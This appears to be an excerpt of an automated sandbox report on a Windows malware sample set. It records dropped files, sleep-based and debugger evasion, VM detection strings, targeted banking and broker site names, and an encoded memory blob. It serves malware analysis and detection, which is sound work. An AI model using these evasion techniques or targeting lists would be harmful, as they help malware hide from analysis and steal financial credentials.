Source: C:\Users\user\AppData\Local\Temp\is-7JMLT.tmp\is-P287H.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-BMP08.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Jsakr_KmqehdR6ptAH1OzwuM.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI40602\unicodedata.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe TID: 6536	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe TID: 3892	Thread sleep count: 1047 > 30	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe TID: 3892	Thread sleep time: -209400s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe TID: 5168	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe TID: 3852	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe TID: 6724	Thread sleep count: 1613 > 30	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe TID: 6724	Thread sleep time: -162913s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe TID: 5828	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe TID: 4156	Thread sleep count: 156 > 30
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe TID: 5320	Thread sleep count: 85 > 30
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe TID: 5320	Thread sleep count: 155 > 30
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe TID: 6936	Thread sleep count: 60 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6104	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1464	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\explorer.exe TID: 3556	Thread sleep time: -31500s >= -30000s

Source: C:\Users\user\Documents\SimpleAdobe\tXlQ3NLbQqxBkFS_TfaDHWX4.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Last function: Thread delayed
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_00A7B1CB FindFirstFileExW,GetLastError,		7_2_00A7B1CB
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Code function: 7_2_009AB300 FindFirstFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,		7_2_009AB300

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\Documents\SimpleAdobe\NyiVs23yIO_0wMOj5TwwBpJ5.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\

Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2559070588.0000000001961000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}6`
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.000000000194B000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.000000000198D000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.000000000133A000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001D22000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000002.3022417132.0000000001CD5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2935186807.0000000006678000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}rogramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2558145071.0000000001350000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.000000000133A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2831094134.0000000006694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2534399884.00000000017B0000.00000004.00001000.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2534914256.00000000017B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlmp.exeSDT\VBOX__=l{TW
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832513735.0000000006771000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: urG3jKNN0mmupGvcU5HlXybvdFUXWgqEhdpkMfvjkkaEbCSfMYSxkL4HWyoXAB1G5hDlqeMuUnwoUAFmVChtHrzZUujZ1qMtmQuV`yw
Source: svchost.exe, 00000004.00000003.2064877424.000001B660644000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.000000000194B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: svchost.exe, 00000004.00000003.2064714090.000001B660644000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2558145071.0000000001350000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: EWdN3bvBjxAbF1GyzHE7_p73.exe, 00000008.00000002.2723423186.000001DB32588000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2530760258.00000000017B0000.00000004.00001000.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2532049009.00000000017B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlp.exeSDT\VBOX__=l{TW
Source: svchost.exe, 00000002.00000002.2365281795.000001721B402000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2533712340.00000000017B0000.00000004.00001000.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2535385556.00000000017B0000.00000004.00001000.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2532394450.00000000017B0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \SystemRoot\system32\ntkrnlm.exeSDT\VBOX__=l{TW
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2832757833.000000000678C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.000000000198D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn&pd

Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe

API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Documents\SimpleAdobe\ocI8OvNXSYwHw7Rg5l6_f8IK.exe

System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Documents\SimpleAdobe\ooon0i8sg2EZy1pci_ppgkth.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\qk9TaBBxh8.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\zFe0EAtgy56yDxXht4nmozfb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\70Leo0eE867BJ4vm1aky3Uk3.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\nRGT2oA3F8V3EBSM6dmMTrGw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\eQEIduvtZVhzsp4oDFOuc1gy.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\SimpleAdobe\kPBjgT9TnN00tvBCDizDiq41.exe	Process queried: DebugPort
